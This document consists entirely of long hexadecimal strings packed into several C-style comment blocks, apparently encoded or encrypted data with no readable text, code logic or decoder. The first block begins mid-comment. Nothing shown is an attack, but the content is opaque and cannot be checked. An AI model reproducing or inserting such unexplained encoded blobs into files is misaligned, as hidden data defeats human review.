024e0f077737dc853c8cf6cdd98e2c9f1844a973ebb7766264afdeab19241376fdff8ffecf9b7672392c40674867fbc0a4f1bf4e3d22443c50b985be83f60cd13e9e75b0bbb81d1054983cf00cb0cd8e06ec1f65479650d8f41ff982d5878e0ca732db5ac24692e35b2e34245541c6e033d2545ed9c77d87b98768425e45616fe3a91e1219efcde7761217b4ce3bd6a8c02e92b4804b8686004dd4c6a0a4bff81ee3604a51a02503bbd86d14ef547d2a5f20a2071b1d653dca7422e9beaa99a8236d7a692c3cb5b34a47abc3bad33ea7b5fbb76e732cc977d7ddaf1818a8bcc64e6242f5288a8d0d3e672935e8284bbb9b5c9654c1da6d65ddcbeb96279b043a473143f545fb8e95081921e76df9cba507d1e238672cb7d668e320e43e8aa2994a0888121b43d340065ae9240cf78e57bfbd19d60983c371d279bd7813e399de2451d3d59ee0db5530f12d699ac5961acf6b13b2eb7b3e6325ca7a40480c8c74e5a2445befdab6ea22df26291ddf4068e10b65b86fcea8eab5466297fd8a63e8c09189008c0fdf49c204d2d9b0ec4822e7b09147ba9c003987ea01cb0222b6083ede9ed255c40b1c3e024846d167d1d208533abcc7af13534e8ffc75779bedbf4f280421d95222e8c0213a311b75921e0de7238122ae56028c69b8a3bc7d541809992e19645742663737f92096aa725ed916db8fc95e7ccc736c217f125c30ebf760c62502958f09215c328cbfa4607534d22a3860266487f86a11df6c2d3f86c87b16150da3d6c41dc89c962dae0d44601ec2872d5310130900367a1f5128d2efcb498d055c5a696851a5c67d61e36f5732abeee84b4383f96b60061f0bca68b4e8f2a7c19aaf2ac4e11a99899f3955d7b5b75e69a088d8c14f384378a8161c9c818cc329b54172960bfb2211441828d79d403c57b422ec36a69d8c94056950702de6d6fd3c457f1c8cf3b0d6524fa52b4702ddcf445b1b89459f9a101717e4e63680571665f803a8eec47ca6765684b2b679baa43fce58243478684e5d713e2e0cc0d1be8214cfc54b8a8993bf4ff2ae105113449616f49714151c070df959f7678952bc66b0043c9d76e9a72a1de10eaec0c919a6e777f8f537d1ba5f0b5279ffcbc25862dd1946d0dbece8fe3e59d6303c8873356b2fb7dd24ec15a0521710f70a172c5d3b0e8f91af62ff3ab581f9791f5498e453ba61908bad68ab50209f676ed9f64297f5e7a4cd13563ec3f4b25f4f54ca786258a43f9928861e456ac26b0a6362ad70e5825ef871490450603f6a89d4590929e511c1c978bf0ecb0466f07ddb0f723b62fb55f9499dbc274c6a278cee8631957d151a75a17b6914eecc9c69e9875e9602558d133dc421ab13e6462edb1518d1e84b737e93dc1bccde5c5cef01fb5cd38186a08666f969815b295172d7452de8189e7f188642824078c8898ba3344582da66e0059bf79775465cfeaa482fe15fc836868409515d9c1090fe820f4ea272ea316bc3e6c6e20bd108a869f16f2dce4a64196d704d59ef55c5fe032dc611d3dfd0d49f18ab3df7b38a18383889fed5dfbba5c58e1be79dfbea5da9edda2ace629a8b68dca978f06eff78e2ad536d27790bdfebbb401cad3ccbaf3ef60a83de157bb79377541ef94d0838db5f2281b7f674ab05b0b1a7340a61a2fd10701640fde5f647c7a3a35b5899513072fa3a84e4fd2e17c20f06648f967e069c6b0253163044db77d1b254e1d0174ff9b2fd680b627cf8e60f8487bcdbb42c1bd1e3d13ed21f5cf2dfb426b7820d57bc5ab1d98f4bd20f0eaa768d445462d9d654e600b72ea07540d7aba036ba364d5928d349c60da8e70260daa7f85074ecc9c451c06aca028a6fb8c8fc6f1fd25b9808498ce6a1b32feb589521601ddf848a93349de061e2c5940a742098a4ca7e940437898134a93866bad70fa9002bdde5835eba2f24642699cabaaed863906e3fa49da497b416977ed815cafa059f1bf9fb8a78280e71b6c665d66a2bee9deeea28030391961ac56213c936b7d452341ecfe6a9416cde1a32704739c3af62f3887379e00d12da53cd680*/
/*5d713674ff675e18c24f3d4179182273658c096c068c3304b2f8ea46d804cef3898003a2cbed36b647737bb188a4edb5acea06deb810c6ae96813f80ba419e68710fdbd1ef954912e01ce1a3e38a38fe6776554797d88a84a851ede9e6c896a55ab5d7217735c53d1f44c73e7414c304ef23542708137f2c5f9bc6d0462ad5b5ec7d019ee1abeffb7b92a6fb13e40f2fe969c20269b8bb9410ccca0473a7245f2eeb49aea03a77e47d1d176300b16993b128cad835eb30b684854080d1dd93c46883e1c113b72af118fc05e8a32bbd764664b4c90eed9a99f66fa8adcb600ad59732cdc49e947300340884a65015199faabe741c73c9815da6b3586652810281253a8fcdef72379697afab60077e84d3a3e7b1da93b68d175dfcb124ccc304a96a360fac6fd9d88164e7a5cd3a7608221cf71862f78e731326cc4df9afe70808101d586f3e81e3784c56444143bcfa85ac0d1e41f8ff12cfbfb77aefdbb86aa576a32ef7241921b03110c5c3fe820e8bef260c330154b95b68bbd4103779f8273b8c3ef6ada2f13d0eacd4b1c7b168598add8b8c2e27985dec781e1a1be5e01af654a9db5c407dd49202c5d6b613a63401ae476af389ddadb429fa9b6d395a0d10c571c22a8df5e90e51a94d578c0304bab34c36af57d839002ef05b953c427b9688dcbbe8fb5c00aebd302fd55f93297ae0150d00eeac3274915b7188e34ac40e9fac05c9d58db651aa82543ab49435fe808a8a29f2be451d4373d1db92d57816ae8ca3da803113bae6f8d5edfec4544815180e6c79916becdef35825b58aa96ed6529f400967567f4f3eadfdcbebb52f3dfc9cbb002b888377c71e0a0b05958d07cdaa588a5f53f850771272185e92de5bc1c14745069f3ec5eaf18015b84796e3db557cc1b9e5916da672e82345534ba6d1482e637a97aef680048d10481a5bf0b0087b55377ac8e4d66d01f4d8d038c349fb271953b86570491e39316fcf8dfe58788f94fa61100abac3704b7af531e7d3cfc0e820a78bd85121367de57837167e4e7da8aab4e3efa4debcc60d0ae804efa7fea428eb932fbaf211f8de4e8882f57197b3af7a656c7c1ad2806ce3d709973431d5d29a2f198fa07c9a2f284b9e46bcba9118b843c9b1eb86786202945f65afd99a189eacb50852d55161c42ba31e1606767b375d5d3a0097a6c1a33abed381d7be8d5ecc2965b178284d3dca624219b2d4fa82317bc27f027276520433387b786399047b7fd9f2bdaab86d38a710bc840c2172fb9aab8433e6a852ded936fcae952f9d0b53a3f498737454c6ba57cf9546d0d30126d6c8927023a20d6c864661cfa213745c6d02335b30e7438eadedd6ad738ca420d06b42d27b00e27f0752d525db655ab33353a3db2ed57b05bfcaa3ea85f682f9366a91a139c908cc593d0594a222adab60a9839883f272d6e5b3b19c0a819aac4d47d9ff23ac7a474fce8b4a24d19d2ef82d13429f4658a34b97631e20f71e698b00bae7659ab825be1630fef629d3f183b449a56ea1fe40bf7aab477b3f3ab6e193d5dc37fcca89f82725363f8cb28ef1e4c3c51502a52b2c2c13e16ced58782217c1548ecc3375653801b6b2672619e7aed4d18b4c4889cf89b2a5de27d6ce9a86941f3ff1221e00d6fef13df38cf308f0be3aa3bcce87e6f730dcabbdf5ec654ce9272ab72ccbb5d22ee65057ab39634b6c70dd86462ae916a486be99ef9bb5dc3331d16d9dfba94e77454921993e5227a74f8ec37584910be2f3548f5dcb4be893d81dec44c3bbbe2fed9ca130273ab7cfc365defabf82e0bf1303460d17bd8f2b26ce6e30eb938a47e69a074485de1fe3dcfc00f666ad72ac3602f1352d4c377495a3560324c74b7b4db13afa0be23390b49aeffe86ea21e9ddc7ccc4be03fd8e48801fbed112778bcceb8b44cc7aac63a47a2af55037e6a25d7fe67926b1f0df45a7e7238f3c4021425c7faeb9866c2e0dfc1ea97addba98bf55c977da48c2c1d91e6c1e15faeee6fa699997ef50c44c98be02c02b0e62c8905fe091361d4d4ed080395f84923544c4ec38223376a8c8534a42d962140299cb72d8c61d50260fb081f38112b58b8ae3b08171f1c160b14fcddd41469ad3724c2519e3c2664ff37d99f3f25d81bc7eb511fab0e9725da3125e49a6e25063d0d2d8d7778babb44a2c557b0d6be07d368ebb194dc28b0ab6f3e3ef9fa3d398a4ff85f345a2fa3ccb723f689f9fc9dc88664a66f062e26650cebc7beda1f8cf65cd24d5bdd4834618769e3b6e92ab5648f43b80ea2a0f0228ad3be6d920e628018655becc0b372cf1ea754d06bd245bd0832bd897ca8a93a3945e598d2f11db0e1d102946762f1d12789030335ee66299db9e4b5a5cb925211c114abeecbcdf25b513e830f2f506754c88f171dd45b7261dcb77883c32ceaf54d1504c23839cd90f83331e04b12524f58ba35e503859fb0e5605fb7f949c67f59659dd73d2928907a98bcf809a86649e9fb6bf6f6308179a55913e372375cfd1853a630dad058c324255672174c3043febffb8353e02913ae87d9d729b90b75b744d3806cfa6d9cd3c6be5992206b885799d1b2da339e3d4b955344fd72491be921d90c5eab6b0f0987e45ea7fbd0cc8c2fd0d54adc98ca8c6f38bff3cb10cea1a839f810b454204f65aad6d4dd568796d5455b24b1b0d23ace0eec4fb1aaa52f5adb9dad906c839544806488c86fd69bee0ef4562acd92d0296c5675b4616780859cff16246f8170ca4fa37ca4b065951cc703dc917dfdb61f87bafde12f2119d833a8ea4da68d6e5b7ecda359c97548742*/
/*4200a16c6f98a7b5fde5d8d365e3accf23be2cddff825351c8ec8303262972446084f2a4e3b7e99781b97446ca81209232ff9897de7d3b31f25d684cd2f62fd3f16301f57aa992647d893f5dc760d017321206e5e901b9c32e92ddb3f30a24fa76d0c6e063a9d77397fc5b5a6a600126512278b180d88d939350914442d825d34ed1be12bd9a21488434e254aef2e70b562c94c9683afab4fbf025a6ae1398644e65d3c555520196142b4ee36027b80c6f9af7176c3dc383b7617e560028d3c071264daf23947f73c682b623fdfb7b0b3a132ecde83a4ae618b7962c9519f413e0008eecd3bac4a01d104e51fa500bf1f9e7369001eb64d407cf189a2940e87b988377924bf8188515a5921f1afeb03d2fdcc91f2f0fabaa13f6019742a9d162174a1544c7d4fff855bdf1a533e77039658710667454b53f6f7721dd886168b3a8c24572dcad4814a8058faec8427fd99cc37f1c187aae70616d48ccf3c674bd939bf1f5ac1a43020f068401b631dbd6599af1190d76ac77d25ea09bb1290735d839cf2363118da171e30a814bc974bdadb5f8aa7c9d978d58b66da2545d9a7ef6f54cf1a3c2b9e99ab02032406e8d0db1c7d29c4f6f8640f36e18d9ea1e97d9431cd119117856d26e94845db120e78cb8d67be0e24e9c2fc882985a6f22e0ebbdbb1b76717f04b2bb072f443beb7f660b4da0edfff16140ebbf614a1304c532b49152eb2d24cca4617b91520c44512adb273a7cf439863d514ebe4a471ada46ac7a54da103c398fb8393bcba5e3a87d1246c06d3d5d8e351fa1dc16c625089fb111d2ab66eb70b0c5830348345cb229457acc15e9b965250e829c5d8a659825a9d65ca40acc519576689fd46acdd8af400be374a859db164074648d255610d918cb23ab12f262fa963b8de6b976872026d1c7ee3e1e1255a4f7dd8999bd9462a530b1a90b42d844568439d9fa0386548c204621df60ade679a7f00765b8a06e4cd6b6c24729b7dd5a77615d630fda3a992fdcc39a136bc5cf09cc8bd976f6a43d543989573b972037cdc28a98807ad9470f40f0545973af54dc5171164b2988f14573a15f301f555375607a63c6e7645bcc89ab8dcfb433848117c2fae5bc6d54e3792d837088a0c67621aeff73c1e49a14d3114c0e8212c4f6350451df7209ada847d28da395018d7ba93d50b4ec9d4971a61c885dbb97aaa234cbebd9122ab66d5e9a66c5ba843ad97cabc4bfec138decec7f2c26092700a0b0b63c7ee91cb3071871260aaf0c3e330af597fbdfa17c36b1f4abf6d2eca06505d9b034c84feb1d21e07e9a6bdc07bcf2b50c6d23f72b79d437a35b9ba007325f315c66ed5ca1daf2da55ebb3d7227d07334790bd439f18b03e247e9249acbab4a1c83ebf05ad7ee78471fea0e7a18bd8549618406cecb08879c73111eb3e6b9fb411e924d2418f1911a2dc44bd6897f37d0839cdde41af08a4f56b13a433054676cf52fab7e85a8e0a46a621e0cc44084db8230cf026e2a75b70e63712beebd87bd75171455ecef1fa609cff642fe7f9a1e4ce5c5f7c02fae8e9a6e464690b0780a2bdf6fc3eb7536cb82c91c5a787665dbd490071db9817ce822a5125e07af75a1ad8c933edba0d0f34184b6fa436a2c58d5370fccd6e98df7685d34db8c393944de3e985d8d23b696138760f3d0e8781e6508614d59c4f4bc72c1f36428e27c5193b88c514e8b6d6f63b42982defae43586f3eb83b7215334caccb4c3d33bca97625642af2a2da7f294c8d7e37f44629091146770986dfd623c72545fae7412a6441b5dedc1d514430a3718f00f1c75e86c4cdb5609a503d287b0f542626858ef559f701c10f9648cdf2f3494a965371764aee010f9fd9afafc06fd1fd852fb2e3897d6554fafd70dd7a4f6fce0d584f9278ec996eedb4184dff08e745f102cba8e6f9408a4799049c1c0582ef272745974176fc528af4f2bac283b883ed4cab957198e76fe29e9cc429ece79d83ddcdf18d3097a7e652f24bf7405f297ae45f376d2c42c150767f35cb2c58347a7c0ee2b9aa461e74d42d4fb870c7fa554dc79d61185f745e6db4fc95d74798677dbc8eb12773cd86ea9fc26e798746157079bc665a4464dc26c1612b5fbd0b51d2dc4722013aa58229bb39ffb542fc1158f2bccaedb5964e2b16bf4f71c00bd9a5f0e6082a7b00a9fcf63b81fd750d2c16e01fdc9e1e6dde2344e47b9616d5523a86364e7ab8e2b741e5b831f95717ef9b87553acd9f76074ec77d192e56ea4a189c08257fa94e0f062c08019468c694ff7189b5d212d09c43268baa44d57fd23b03e560b5b59017a8110a68983a0b22cc4f7771ce9b4e92fb50a4b59f6f534d4f092ef6b10c605996fa62549111c19347ed1b4623e76c6363a286ad2bd32cf49c701cb6f5a3f210c627cd5f3da61e82a70570a1dd96b63e09f77b47e9f47899a27fccf306fcb4a1a4748ce533810a4456bb1d4fdf385dbb4cf78161389e672a58e41bba976509a6884fd487499e8939cff7e458050b62e9cd166d96dd2f43d07a67a47d01871ba112edb9257d871426346cc1ef87a455e9a42b0f6a938999ebec62ebb02d7efe7a9457a389e0b1492097034bb0c0c30811a163441abe8bf11f72e43ce617357d66cdf9414959c4a4515c783c3aee6b3f7924c4dcb880b59f62c8aedd7d40514681eade8fe448440c65f96c6779a1538a27e3971d77364def560f0020f3c610d8da8dc43f4abe536fa32677ea9e9eeb88a20eab8a9118a3f0d058ef53a9377aa8d1379fd1636fe942443d2010139329bdefaa8d5cb8b678f10d32650e05a6d4*/
/*71a0c3c187926ee7540d5511615ee3185f79f5dab239e97f2c5d68d85e0ca7c7ca05ced740ef9a9defd5fcadf7c65f2b17c0655a6982a52fb69b7bcac72f0a0a228445c54b2815fbb51dec953ce69f4ef4421b7d4048da8da1bb8434101b98e8ab960fcd540ba106322c13c8c2b9221994b0b54f36e0d74421bc362fc208720986f05866fa2f768b66ff904996b52df0b0454873af61fc0c1b5d2a68ab647766eab52248092571c910d32689e883acfebc4117f7676607671d3531e12966e7e3b23b8658e641ccf23fabad50cc6defb31c114ede13328c49a22a186edfe808dae1b36270f6701e26f62fb63fdf39701368d08670873ee6d561f3f1ef45be027535f27bda03a6075388b29723ebab11ee9316574880719c83d717b19ae55595867ffbe0a97ff72b907e4ca339253e64d718f5c6c9ff3d37d9fd4e6b090feadc8ecf10d40cdb6518246b15806e3c55821e01e38e26835a35cde19c1e1957a1258f94d617556fe2983610b7b8796eee1ecb7ec9add471876fcbf680292397b55a15e509f4ba8a168846c5ff19791b81a4adab82fc58cf3e43e68178f53d05ecd8ea3b4688b120bada5164d8dcc2870cb014e7b7feae119b494cef552b678e4d029115775d6705f6f954bcbf4b9a7ce81974054b1d9889891b3f6d5a4a2f053cc4bedb8433f80f03c05b2d17f9c7bf522263a36819c0b7632a1da531498c224efc2142837ff41d0046ec86b22f0ba25bd14e5b3fda1dd5c46b0841ec4e5556548dea8159ab245e8071815bd2693a22660bfde71eff8513034382cd7470aa3efe7add2f9714f0780ae7371330def58dee44c28b35732ccd039ef484ff467f275a02bf215079195ab51fa295240996a43ecb14981988a20a92a4cb1546ff809af7b3b33764d5787f893b8ae4d13f745aa361363c578cecd0ade63124a9f6c1931902b5a9af6a474083735469e3a97da4b0d06e1d3b7be1e28c6e63224df0e75f10404fe72757fe2cfc9fef70b3de552529ce6c46791932152913ee47825111f50bc34bff2aec5eef8f2b4742becae6fdb7d77a59754e5b21746e6adc7a98d30b87cad8de12bb3e2821032e0c0886eb9755c9c8759eef458591977222d78eb52e3a3fe9971dc2e101f5028dc6e7c8e258db28b21daa9f9fc28a5733c84fa1dfeafa05c28d62359bc9af177b7b870fc45fac98704ac7070578abad2404a1daabc4f2e95ed89283665bfee92ca92a6265705d7b8234272a9274c3cfeffb019997ab700468c79fb792dd846282624d6968d77a3389c14d7b0fdd58d4ffcc61340ac1540253d116a5cc046c303d452c673408493aa535cf21f2c3f8d25f73133a769df7e2cbde0d641243e4e2b7cbf4337dfce442e30ed1ee353470fe6de825378a8d4ad3b8a211e59d86fe301017fc171d9c6132191b87a1a553c2eba7e109c32d58eda1651d451f946df0697f4ea14fe6faedd03b5a4ecaaf471759db784c0e56b5713b52bcc5a0651ec41116f1730f8b550e3414a3f0ec1d7e87de7478c0a5f61cf5fbfa8327e2e54a09b754075e9f80277d81918d6659cc7d57596cc4f14250bc9180e48eecde74f9acdfa5d44a82aeca88b5d62302bc17463dab15b2881ef82b0db82750274cc2dc8c39a6105a8303d99932136ee7e620d423cec00ac4781408ae062d2e471554dc6d510ecd16ab2f5565303a99b42040d0b5a643c94bf6d447e6dc1bbfbdd460500d90accc566ba88aaa7f3a9e770a537a449e3985eb15b76a7b98b6addbcc6f66ea43b2ccc4a75a016ad059ae5a7d16b47e1f1f6799368f94350877655a14a3f90347cdf813e6d5e93aab6367b8bc2303f2a663a6890d9a9115e6c94fe4a24244f6696877fafdd5ea498d82f737b8348c02143452c285deb6e5276b6f049d513b162bcfee3b4569a967299ad860bcad75a4d1aa3de485b02d778e8d74675fed8a09044d17ed7e92253e404615da4643c139d6375985c46c5bb3e2682e6041febfbe170797e57ed214da3d4b6fa133aa6411716b0b8162e466f0694b3c1fccefa3c712092e3f01ccd5c3d5540fbd6592e734cb43aed824b82a297a53da00cf29f255e134e2ae7bd5cb3d06bccfaa67954546a33a2abe345ad06a634a094a916954d193e48c0bad96f59cc0e5d68856aa2fb8d785ee738a5d4b0ed20463f69ced45acdb6556f3d1c85157032a699617c3f9d518ab7edcf304d57dcda085d7b7f3fa9f2a686dc264f25624b1ad68142b13f810ceff677f894475619ddd654f33a9bb01e511ce732ceafb2b56be96aa6ce331cee8dcf5cfc125df32f9eeed785dcf558930f07befaa05b1af33582a9a35a65e743f09a652973052d053b91eb16793c19fd4191eaa0c0e0d80c4fd7e378a9f51d596438048ae68a2dcc7c5bbd1fb8426cab65b5fecf518f830d72c0afd51ac6ffce53b9f48eedca5d64e2f712f9db64a2b924c3b2eb9c7ea24ac1ee0e13e3901390c62ae686de207fc4e0c47250d2a0dff36105d21d82aa91c58749622b8c23e2b808bc8171e86c7bf56c1eb8bbe5835085a05e58c6c0cb60b7ce9e80f72066595a117f454bbb73e9560ac72fe60c51cb255a0c65f338765ebc7675ef293b5df6c0e74ea12259da007cee6977746d24504974d6f55af199d6e30c12aab2da4f49900a33612b3c175a9a624addd3227e94f28d3b1a1d061ef0da28789125cfd23e215a38593c3439b7e49fac39a4b503a28e8aa6c48515f30724fde06380d85a9ae8496763d79b71dcaf36dd21d5fec60141e8c7c8e113e7da3f84c49b960ff0f6bbf33832c7074aacd3dfd9c0aeb5b6a65db7284f99e60e826c9cd*/
/*61381af40cae82d6f3fd93aa7da2c7ffb6c4a8d8142640f78e7b25a3f5b274dbeebe4c155ebda0aea2a260933e02ae5918a2c3d6e58c81683f8b69f932fd5b593e3bc0affcd163b3b77677bbf59ef5892083a4e7fc05648d56d2a478eb029612803c246a6963dad9fd68a64605d49686854f451f514ac0938409efac137dab49e173bf5af76bc8636efef051aa6cb1c6fba7221fe8f2550937fece64d99ca1334075ba8ddd4f7ea0975e11668287983e8e1a5cb2cd77f66a108c66074097b110905fbedcc3fdf4835c5e9210b891ab3d27b7515425182b6de43c480b09c41a5aa9f63caad04cff9baf76af20dcbfc2580e71196e41da787d5627380b1e069013c590a5e546cb99b45c0bbdf2777dcf13fe615c295e5885fbef2cdc5395982170412f20ed6677608b7e4ea95414f4a7a94daa13af5457795a150525e8681dc24319c20075b1f8db2ddc786c38a1f8d7d0ab31a41c70084b1d67f888b9e321a0b944eb9e935667a18ebb3c27ad97fc48cf0181b3a891ad6ba80976e2d042966d539426383ec6f47635e8a13960a88658b8f49a711c163371281088fd896ee4f496b71bbec30465950555c6d88bc4c41e029ec45dd68c107943093194faed9060b5d93f8d81a6cf27e73032cecd4a61637a3831a31fe76c12382fcd828f7c2c61e5d0f9e4294f668650e1cace1a9f26eb0b43835b003966ba157770bcb3e560b6f97c88bf3746ae2d20fdd7b69b502660b73a4629e67dc60f481712c5242b486e5f4e3bc3aa9e83874072678db302b4df51375e4ccd33ace785766e3e8429fd82e03977dcbb78bb544958a4ad973ec1f0d3a92f10e61103e9cbb61df9cd6e0639630f1b4893a27001d8530c40949a48b02cf38cb0691d425fba70d86bc4541beca3a8dc09e96c8967fe80c68b1d60e20e94af8f889c24684632766ca7d72ac74f34207619f5a3e51b83dfc2c299dd6d718fc1594ef7ab1731c1d498ff1a3bce81a76c0fb2cf63865a156b4c19070464d00991c9d5d8a854bbdc02230778f11d41406fee917bb85c3b01a7e02394e46aa621837d9758528b5daede3fc8904dd8280076fe4554221c47717b502cd66152de29c4ffdbdbb6c1c2eadb64e4723340ad52934959add229a32f49f1dea03519987433cc6e435c338c2834dd39fc9f5d76ab3432d197a11243ad0a4b9a7409567c7470d33d9e24b7951ad8e138b7b7a77d62045edde7ecc8075d13f4c8b3105c6420c2bc379428179ebbc25f17de6d7dd3734c9f4f330ec970c1b4062a1a6c88b2ab4e63d3c9e70671d9e028829cf274d849ee428f025d8198badf0925646fcfa54bc007db7ed971349fe0569a1f7ac7b0d32c3565d32ab9acee419c60732e558e1b58ecf31d0e95933b0218553f699b6d526f882baf7fefc79a5e58f791ffe2d7bba9eccf370b3a778a58bcfc1830565bda81d6d25e3fa27501a13bac0b04e65bfeedefd0c995c7c8ac5f61045fde4f0356ad5df9fec7019647eb0b5ebe8b54e9a8147f65d4e12bd2f4218551c08b2ee7c2bf2b21c02148038a5f7c9dbe462747530aa94bb0a65c1b2922d2f16ac063658fa70263b75ab1c8700af42b56b5434432e89a2ec187a3843a50e3af48ae6075904ccd6a329e38923ea2b68892868134dee817a7a813fe8691540959360153abf8f6ef363c53646f1ae38d69563f6be5180ffc38e0b13ec02083a6277fe2b3bb2fdd95440ffa9aad8b87cdb172622e30cfe73227f54da45cff641189df8118f02bfb1749171fcd1bfe2158ab5b4ba9783cd7161c511aaddb3291f833900a928a3886e61668202103673e3546495f493c754e9f0b684297d916d277d8f3430fcf4f186866b0d7d9ee61eea0a6c404b7c28d47cfcd0a3195e0fa29f20bc3d1b27cff8fc72b21f8221597400f174c3e0990fc66676ea04ef73330f26e6c7114495691335f9b36a565a2856db573e0a9bb0c78b07a0ded3723032cd2e6e6e58ee1b9f86b62f4f305eb3aa5cb3c3927093e33b91516d90dd616c3d01e1ee89e7cf1e20e652309673a10d0fc76093d0a0b9a0d8bcaa4849f9ebdc2be56fe5b9915dfc0098b2cbf2c1d0329086c0fae01b35658eb34731486429cc3beaff9c01c3276f6c776b11af2416ddd7d2cb1eed3af31ba2c3ca48a1889701274646159651b176a693d07c794d5bb5a9d3aabbb597e745ee9668f4bb4437f662fdc0a86d7e59d79908b729939acc59fccc05ebde535010709bfabbcb0869739f2b3fc92640ea1918b8068527b67ee3636a53dcce86efbf68acc4f1cc8ead46694b2a665cddfe121ca425518fd69f5c601f91fcd37b09fda8b82e019b7d089511083c15c710d39ee1583de5a12b29700137059d84956e17c33e957e3950eb7e21dca4d1636bb0666958b2f590b60f9745a1cb08471dd74b7b0a0adc261aa67d296f329e5d2ffc2b0c1e29f9bdc0ee53880b57e8ec5b960b3baa02b9de3b1a9e014c46a2d1522f0a21a8f7f5c9c788e1efaa5847a6dea32cc37e2aa3486b899ae2fd95b80ac41e003bd98a4b5e5927296e5221d79b29f55d889f15a580fb2d36b174805364fc15361a755eea94f10bd81a9db4fa6b5a4795605c0f1b24c7a70dc91d045f65037e558e25f7145bc9c93f1610f8ecc68d7296ab3e50c0e705be089ef13d09c19f470c129e655c4c7ce3b9af86f9ca076c3ab3a1c3d8672f21c679d0933b82f8b60d1f1f8eb14879af27cc7c0e443d895f481bacac9b3a6bbd462dc2041cf387edfa24d0d348ca6d02ffa6398331e62ed6a8ac6e10a7c43cc98b2b4fb5cb6db89b92cb184d9cf7b34f44bef975c86313e989208bc*/
/*4263b5671e49b1b557cb79a1460b096ee37f3b10314825cf4d6a0ff070a7c99ea32aa0e786a005d8f5ea85c9333c2cfe0957fbf7689fcfe69668cf986bbe7645a35ffc6b5b1f82f8be58c9bbb757f533fb772228512cbec6e7459fc8e5ad8928f0d6c2c4b72ae2604baff3ee2f01ab01b9b6f5ef8439020e4ee6b200e5bf7080174cb0806948c9a6cc00e16f9c8c5933b005a3c1689ba18f25650710f401c8e3570e519717d4e32e8338b1843b00454126fbb5942130acacf3a8a368490c90d6c610399a5461a5f866f92bb6f092211517c964a196a89e736e300ca989f6a2b5a319404010ed1e6ce9b1f5c530a13c21a7ee25fa78d71164ec247db545b853b05e094c9acdc7455c778365cd0ad0f5ca91aa554d3e4068f03022f567ed6c2dd1c15395e4b141ffe13ed3089d954d60070b8812d37c91a4922968b5011ebb386b35d9d08067c80f99142ac1bc76ca6a00a0ea9719d2ba217f4b411b3dedd0368de2e0512b20e68fd6e62f65538cd7a154fb766a856b5bf4d263c19f70937230fc499739a3fa5df167e6f49f2cdebcd65cf3f352a85964f36a9e892fadd1681e05b4c4814868ceccd741f96bf3460cd98f133058dfd6f59c7f7ad83b2fdf4660eb09a595b82f41ec8d9917b135a1085a936f3d83ea468d181ce7b09e3e1ff70ce192122de568cfd41eb30e0c23d48b033ceb0d99b52e2fd988e189d8fa4c5e653ea0889cfe3612125112a5a678bae26d248173c51735b85d80a0fcd950431f3a0bedcfa345f96dc4eb049537717675d84b22a192cb90d9149b098d0c36814b7a290066d54c8ed11271425d8f88c4c357ab3df0c3933aacdd6b5e46e4d21b1faaed6a5e4d4cb1e185c2b3699dc35b2a15cb9d92bba78b21df6056b3fdb2eab0866fb27bbbca47b0e524e5472c9a471382f3e1b385b711e6d84b7674c4446464e70d12bdeb3c80e1d0e76344185156afd0f22515b2ba8843aa933281b3b7375f2ae392685bd56ef6d42ccbcf34173b6f3911fe95df46171e5b62ac47d5311a6bbcb0fc448393ab65ed649158cdda6b1e283651c65a357dc221341e578722059af184bff1dfe63a93bdf5da5ca485f893370d5bed2d29a6f6b35026eea744fcb5137ed8339ce4851f30b48084d7d9ea8377296ee9a0c3c722348e6e8bed4950434d8970d140eb180f877b448f9a4b4d229379ab2057a961c3c6d2a9afab8111f36792034be6ace2c155dd1daa5fee1056c810153b36d01164a531d101bcf8030520a50875e0a3770ee3a509e6fbf0e453615dbd0c8b40c28315dc5baebe8b2cf1a548510cd7e6da9d3d715d8019396424fc7fa110f1de92cd8c20c206c2e80c0a50501fe8a34d4edd3a89bc4d0536402e28b9d0ee43b3ccdf405bd068b7564a33bde1d9fa93b52c258d8bcd540eb67ed46a7f9148a2778106f358e9b80d18595c48b285e88519ea07b71b52bb0175353f096f7e5c6135c27c26920c3277de9553425a17e21aed84f076f5a18220671612f2f16ec46f73f957e9f56c15c64f8881d2377b4c244add85ae9da9866e89e39c012fe14a7b6f5254f284cb7a3e58b8faa5bb8d62d281b7619e83754749f2b8cd066d4c1e93dff13cc775b3df924a4f473f1729a88005aeef8c84d2e099250baf9127dd938977a61bafa322e5c8f2cc4e13a1acac66416c0670d1a5d43cf7015dac6920fcfb5cbd06d0909a7e99fc979782b662ecbd46a5af95554cb18a6600c538f4e082911eb37f58d4b629c06f2ebdf84cf14464171be1885cd8e664fb38817edc4622738b8272df6936acd5f6e13a39962f33b91253b17b3d9d413b591e296adbc03656af0962307338b03c0f67c407e7875a5f36e7352ec110bce50db409df45123362a3abedc8232d148be441a36bfb666ab6df2122005f2b977a82fa4a968b6716139f8542ea8a0164b27657e4045634fa40dd330884950661113e10d69c99a27fe1cb003a9928d6fea55425310966ceeb3485c94e7d64026c83ce86901cacb07378e17619c57182ee9e1f3363cbbdd2b63e724d90887632974625f0e33a4142749aa245e13dc7a71dee49b08118719aabe39c6de0ac007248a936449b848090e8b59ee8c21407c7b86712210b38b76758790ec2ff1bb9bced4f3a08f39b90fb54a78a8a801ed41578aa93d9fd5f2d8cb363e2df2a251fefeebdf4b7059b8a6e034e5888105d8f07d67d2d6a788c9c01bf3b5b6ed6d1be041a73971f9f18a97de616ec13826b95b3d78236265170956877ec08cd94413116afa01a02038033be22e9541bca8fe878437993213f2f58387676f0d10c5ca099629b374dd30d70463c04a10968a340e4ae49328edff7ee43da74bd868f303fe5de47623fa1522ecdf30217bea9420bb43794c282a1db70e1e4ec06f1839f045895cc4ddb9412ae8066f261e69e6f0052525e3b61b6ac0c94caa12cd3d857863125b17906b087aeac35290095af1dd8cda267262d1217e5913aaba4c1ba2bdd35bfa681632be074c8de27e384e770669ebca7a9354f2c084b23c9d550d5cd58cab37f19eff272555549cfbc0af04eb196d97268028804f5f147b23aac1beeb3369c2bdd8fef11233a4f52c302517a859ea8f72dd1ea8a70d58b6ab49313fef082cef585efec5bcbb9f82afba72b6f5caf3535086965f830ce2dcbac5ac2369a2bd8233c4c0f80efb2cf5478425036026f60b3f1db61af485aa90166f6d0cc8fe1d71286b26eca7c88c216b3815d5303520eea7ec2d4a26a13b10fe59c5d382805ee2a2c4bc8e59af2308b87fe50eb03fb0f1d27aea7de582fc3aebe37096131fe56154965974762*/
